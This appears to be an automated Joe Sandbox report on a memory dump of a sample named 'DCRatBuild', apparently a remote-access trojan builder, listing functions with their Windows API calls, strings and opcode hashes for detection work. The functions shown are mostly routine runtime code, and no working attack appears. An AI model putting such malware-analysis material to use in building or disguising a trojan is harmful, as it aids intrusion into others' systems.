Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a0f7a20a6f27eea62dae42ab1fe5e5b21452199bba2475d50c6ebf4ace8b9603
Instruction ID: e7d378dcde250c9d902584c665f4cad89ef6a27e5a536f5569138e38040e2d51
Opcode Fuzzy Hash: a0f7a20a6f27eea62dae42ab1fe5e5b21452199bba2475d50c6ebf4ace8b9603
Instruction Fuzzy Hash: 6701D4326193596EE6A42BB77C89A3A3B4EEF11774721062AF214951F0FE594E01F148

Function 00FDDC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

KERNEL32.DLL, xrefs: 00FDDCB4
AcquireSRWLockExclusive, xrefs: 00FDDCC9
ReleaseSRWLockExclusive, xrefs: 00FDDCD9

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 4c7383989aa5e481208bda6da16ecdd8bebc3987855252e09e44aa2c14c5e41a
Instruction ID: 857b5fb9d5ea53edf3dcc669297edb38f09fc69d8e67146e5b49cc791a066cfd
Opcode Fuzzy Hash: 4c7383989aa5e481208bda6da16ecdd8bebc3987855252e09e44aa2c14c5e41a
Instruction Fuzzy Hash: 8001F4B2A513266B4F309FB85C956BA339AAE41776738017BE641D3344DAA1C881F7A0

Function 00FD0CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00FD0D0D

Part of subcall function 00FCACF5: GetVersionExW.KERNEL32(?), ref: 00FCAD1A

LocalFileTimeToFileTime.KERNEL32(?,00FD0CB8), ref: 00FD0D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FD0D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00FD0D56
SystemTimeToFileTime.KERNEL32(?,00FD0CB8), ref: 00FD0D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FD0D72

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 8b284653683d165219467970eb8f64fcabb3f2ce111461cde3a5f78136e7770e
Instruction ID: 14104c90132841e9c4a71ae2004990f296b5fc3407d84b446df1794317d3bb6c
Opcode Fuzzy Hash: 8b284653683d165219467970eb8f64fcabb3f2ce111461cde3a5f78136e7770e
Instruction Fuzzy Hash: A931D57A90020EAACB00DFE5D8859EEBBBDFF58700B04455AE955E3210EA30AA45DB64

Function 00FD91B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00FD91D4
_memcmp.LIBVCRUNTIME ref: 00FD91EB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: d1ea41c847fb600b068fddaf0d9805a6e70769fdebf855d61253c2d60067d350
Instruction ID: 0d355122e3ef03a0f7004febe4335c6e9e3e61a52872f3e13ad49f2d4b866550
Opcode Fuzzy Hash: d1ea41c847fb600b068fddaf0d9805a6e70769fdebf855d61253c2d60067d350
Instruction Fuzzy Hash: D721B77260810E7BD7049F54CC41F3B77AF9F90765B18822AFD099B311E2B4DD45B691

Function 00FE8FA5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,01000EE8,00FE3E14,01000EE8,?,?,00FE3713,00000050,?,01000EE8,00000200), ref: 00FE8FA9
_free.LIBCMT ref: 00FE8FDC
_free.LIBCMT ref: 00FE9004
SetLastError.KERNEL32(00000000,?,01000EE8,00000200), ref: 00FE9011
SetLastError.KERNEL32(00000000,?,01000EE8,00000200), ref: 00FE901D
_abort.LIBCMT ref: 00FE9023

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6e172b6b7ad43b62cd3050dd0c8fb2d6e248472af095879de85df1048518450e
Instruction ID: 6835a5b1778322518dbdfa36db4c65a39820f31a597145fe57282cff44c6725d
Opcode Fuzzy Hash: 6e172b6b7ad43b62cd3050dd0c8fb2d6e248472af095879de85df1048518450e
Instruction Fuzzy Hash: 90F02872908AD06BC61273376C0AB3B392E9FD17F0F24001AF51DD22E2EE24C903B025

Function 00FDD2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00FDD2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FDD30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FDD31D
TranslateMessage.USER32(?), ref: 00FDD327
DispatchMessageW.USER32(?), ref: 00FDD331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00FDD33C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 2f3fd27a464960ff245fc20a7283eb015fe81fbf30574b5d4666b9f93f3573ab
Instruction ID: 161f9dc82d35ae46fcf93b745e2bfa2bbebd17cd42ca50becac73d6a8d3227aa
Opcode Fuzzy Hash: 2f3fd27a464960ff245fc20a7283eb015fe81fbf30574b5d4666b9f93f3573ab
Instruction Fuzzy Hash: 7FF03C72E0111DABCB306EE1DC4CEEBBF6EEF513A1F148012FA46D2105D6398541D7A1

Function 00FDC40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00FDC435

Part of subcall function 00FD17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00FCBB05,00000000,.exe,?,?,00000800,?,?,00FD85DF,?), ref: 00FD17C2

Strings

MIN, xrefs: 00FDC4A3
MAX, xrefs: 00FDC487
<, xrefs: 00FDC41E
HIDE, xrefs: 00FDC474

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: 31b30cef4e095ca8cb45a02be9021364394befe734bd668856e3e9620f36e232
Instruction ID: 6ec9d9f4f79b7837b5416927374dc73679b743c2dd14a636a7e44628147736b3
Opcode Fuzzy Hash: 31b30cef4e095ca8cb45a02be9021364394befe734bd668856e3e9620f36e232
Instruction Fuzzy Hash: D931A572D0020EAADF22DA94CC51EEF77BEEB15314F044167FA08D2250EB758EC4DA90

Function 00FDADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00FDADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 00FDAE22
DeleteObject.GDI32(00000000), ref: 00FDAE54
DeleteObject.GDI32(00000000), ref: 00FDAE77

Part of subcall function 00FD9E1C: FindResourceW.KERNEL32(00FDAE4D,PNG,?,?,?,00FDAE4D,00000066), ref: 00FD9E2E
Part of subcall function 00FD9E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,00FDAE4D,00000066), ref: 00FD9E46
Part of subcall function 00FD9E1C: LoadResource.KERNEL32(00000000,?,?,?,00FDAE4D,00000066), ref: 00FD9E59
Part of subcall function 00FD9E1C: LockResource.KERNEL32(00000000,?,?,?,00FDAE4D,00000066), ref: 00FD9E64

Strings

], xrefs: 00FDAE2A

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: 8e203cd2a2081d21723b10b380d8b453743b31049d918e6d579e5b3c9efeb651
Instruction ID: 7bd527a8b15bd3f78d24487912ce330bfee565cb64a60e925c17edd2e7e9c794
Opcode Fuzzy Hash: 8e203cd2a2081d21723b10b380d8b453743b31049d918e6d579e5b3c9efeb651
Instruction Fuzzy Hash: 6B010432940215A6C7217BA59C05A7F7B6BAB81B52F1C0117FD40B7386DB7A8C11F2B1

Function 00FDCC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00FC130B: GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
Part of subcall function 00FC130B: SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

EndDialog.USER32(?,00000001), ref: 00FDCCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00FDCCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00FDCD05
SetDlgItemTextW.USER32(?,00000068), ref: 00FDCD14

Strings

RENAMEDLG, xrefs: 00FDCCA8

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 3352212e4d4f51e71bd85df2b89784127dbeebf093e82cfedb5abfa8d29629e9
Instruction ID: f9e17484a12ff9c28951c6bf16544e02712a41da78999602fc711636f46876e1
Opcode Fuzzy Hash: 3352212e4d4f51e71bd85df2b89784127dbeebf093e82cfedb5abfa8d29629e9
Instruction Fuzzy Hash: 890168337842167AD1314E649C08F6B3B5FEB9AB02F340012F385A31C1C67B5801E7B5

Function 00FE75C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00FE7573,00000000,?,00FE7513,00000000,00FFBAD8,0000000C,00FE766A,00000000,00000002), ref: 00FE75E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FE75F5
FreeLibrary.KERNEL32(00000000,?,?,?,00FE7573,00000000,?,00FE7513,00000000,00FFBAD8,0000000C,00FE766A,00000000,00000002), ref: 00FE7618

Strings

mscoree.dll, xrefs: 00FE75DB
CorExitProcess, xrefs: 00FE75ED

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 761e8ca035448684df765a216a632cc561058e0619ef170c63ca404872090e1a
Instruction ID: ef6b5a26626c6c016be098510fd064d1badca420ef905d7cdf42ace670b8ce22
Opcode Fuzzy Hash: 761e8ca035448684df765a216a632cc561058e0619ef170c63ca404872090e1a
Instruction Fuzzy Hash: EDF04430A1461CBBDB15AB55DC09BADBFBDEF04715F044059F905A6160DF309A44EA54

Function 00FCEB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FD00A0
Part of subcall function 00FD0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00FCEB86,Crypt32.dll,00000000,00FCEC0A,?,?,00FCEBEC,?,?,?), ref: 00FD00C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00FCEB92
GetProcAddress.KERNEL32(010081C0,CryptUnprotectMemory), ref: 00FCEBA2

Strings

CryptUnprotectMemory, xrefs: 00FCEB98
Crypt32.dll, xrefs: 00FCEB7C
CryptProtectMemory, xrefs: 00FCEB8C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: ea6dadbaffc526c6b696eceb44044577b5c87237ca951acc6fee8060dbba42e0
Instruction ID: 10ac24632ebb8de3d7d4fd01f54982f2eac348e6a192e6051cb73cad7b1f7c9a
Opcode Fuzzy Hash: ea6dadbaffc526c6b696eceb44044577b5c87237ca951acc6fee8060dbba42e0
Instruction Fuzzy Hash: 9AE04F70900746AECB309F349809F62BAE55F14714F04881EE5D6D3260DAF4D540AB61

Function 00FE7DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FE7E4B
_free.LIBCMT ref: 00FE7E6B

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 340896dad2e0d4e654f65240a5437b484e2f5e3013829513fbef38b791a9f063
Instruction ID: 6e154882a8bfc65e8a77081bc5a9cb13d179777dc997d37708d84f1db516e2f2
Opcode Fuzzy Hash: 340896dad2e0d4e654f65240a5437b484e2f5e3013829513fbef38b791a9f063
Instruction Fuzzy Hash: F841F332E003449FDB24EF79C881A6EB7A6EF85324F1545A9E515EB391DB30ED01EB80

Function 00FEB610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00FEB619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FEB63C

Part of subcall function 00FE8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00FEC13D,00000000,?,00FE67E2,?,00000008,?,00FE89AD,?,?,?), ref: 00FE854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00FEB662
_free.LIBCMT ref: 00FEB675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FEB684

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 76feaa107e071a195ea4a22aca349b6563da15685eee2156457afda4afe2d75d
Instruction ID: f84c7f89e3087de7296555314806c16cd1204a6180f1da9db51581bb8d4122e0
Opcode Fuzzy Hash: 76feaa107e071a195ea4a22aca349b6563da15685eee2156457afda4afe2d75d
Instruction Fuzzy Hash: 11018472A026A5BF6321667B6C9CC7B7A6DDEC6BB03150269B904D3150DFA4CD01F1B0

Function 00FE9029 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,01000EE8,00000200,00FE895F,00FE58FE,?,?,?,?,00FCD25E,?,00EB9F28,00000063,00000004,00FCCFE0,?), ref: 00FE902E
_free.LIBCMT ref: 00FE9063
_free.LIBCMT ref: 00FE908A
SetLastError.KERNEL32(00000000,00FF3958,00000050,01000EE8), ref: 00FE9097
SetLastError.KERNEL32(00000000,00FF3958,00000050,01000EE8), ref: 00FE90A0

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 4f23cd14e6fec9c9203abde7d3ca29b68c6425aef76320d34c96f34623ca418b
Instruction ID: 1fa25ca791635ebf03d9efd4b1d9a59fd0acb1b8c46774e06a4adbe171ee7ef0
Opcode Fuzzy Hash: 4f23cd14e6fec9c9203abde7d3ca29b68c6425aef76320d34c96f34623ca418b
Instruction Fuzzy Hash: 4A01F972A09B846BC32277776C85A3B361D9FC17B57640015F619D22A2DEA4CC02B171

Function 00FD075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00FD0A41: ResetEvent.KERNEL32(?), ref: 00FD0A53
Part of subcall function 00FD0A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00FD0A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00FD078F
CloseHandle.KERNEL32(?,?), ref: 00FD07A9
DeleteCriticalSection.KERNEL32(?), ref: 00FD07C2
CloseHandle.KERNEL32(?), ref: 00FD07CE
CloseHandle.KERNEL32(?), ref: 00FD07DA

Part of subcall function 00FD084E: WaitForSingleObject.KERNEL32(?,000000FF,00FD0A78,?), ref: 00FD0854
Part of subcall function 00FD084E: GetLastError.KERNEL32(?), ref: 00FD0860

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 82ebe94624810b25fd74286c94c5102e9e22e9414d276d6b72b96953d3d650dc
Instruction ID: 6a63c28d31c07364f147aab516b701b05cedde64010f9ac970517d0e012380ef
Opcode Fuzzy Hash: 82ebe94624810b25fd74286c94c5102e9e22e9414d276d6b72b96953d3d650dc
Instruction Fuzzy Hash: 9C015271540708EBC7219B65DD84F96BBEEFF49710F04056AF15E42160CF756A44EB90

Function 00FEBF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FEBF28

Part of subcall function 00FE84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958), ref: 00FE84F4
